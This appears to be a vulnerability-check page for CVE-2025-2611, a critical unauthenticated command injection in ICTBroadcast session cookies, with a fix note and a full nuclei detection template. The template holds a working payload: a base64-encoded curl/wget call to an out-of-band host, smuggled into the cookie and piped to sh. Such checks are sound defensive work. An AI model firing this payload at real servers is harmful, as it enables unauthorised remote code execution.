ICTBroadcast - Command Injection

criticalseverity

9.8CVSS score

8.4%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

The ICTBroadcast application unsafely passes session cookie data to shell processing, allowing an attacker to inject shell commands into a session cookie that get executed on the server. This results in unauthenticated remote code execution in the session handling. Versions 7.4 and below are known to be vulnerable.

Impact

Unauthenticated attackers can execute arbitrary code remotely, potentially leading to full server compromise.

Fix

Update to a version later than 7.4 or the latest available version.

How to confirm it

Send: GET /login.php
Positive when: contains in header "Set-Cookie:"
Send: GET /login.php
Positive when: status_code == 200 and contains(body, "ICTBroadcast") and contains(interactsh_protocol, "dns")

Run it with nuclei: nuclei -id CVE-2025-2611 -u <target>

The full check

id: CVE-2025-2611

info:
  name: ICTBroadcast - Command Injection
  author: Chocapikk
  severity: critical
  description: |
    The ICTBroadcast application unsafely passes session cookie data to shell processing, allowing an attacker to inject shell commands into a session cookie that get executed on the server. This results in unauthenticated remote code execution in the session handling. Versions 7.4 and below are known to be vulnerable.
  impact: |
    Unauthenticated attackers can execute arbitrary code remotely, potentially leading to full server compromise.
  remediation: |
    Update to a version later than 7.4 or the latest available version.
  reference:
    - https://www.vulncheck.com/blog/ictbroadcast-kev
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2611
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-2611
    epss-score: 0.08378
    epss-percentile: 0.95016
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"ICTBroadcast"
  tags: cve,cve2025,rce,ictbroadcast,oast,oob,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: header
        words:
          - "Set-Cookie:"
        internal: true

    extractors:
      - type: regex
        name: cookie_name
        part: header
        group: 1
        regex:
          - '(?mi)^Set-Cookie:\s*([A-Za-z0-9_-]+)='
        internal: true

  - raw:
      - |
        GET /login.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{cookie_name}}={{cookie_payload}}

    disable-cookie: true

    payloads:
      cookie_payload:
        - "`echo${IFS}{{base64('curl -s {{interactsh-url}} || wget -qO- {{interactsh-url}}')}}|base64${IFS}-d|sh`"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "ICTBroadcast")'
          - 'contains(interactsh_protocol, "dns")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from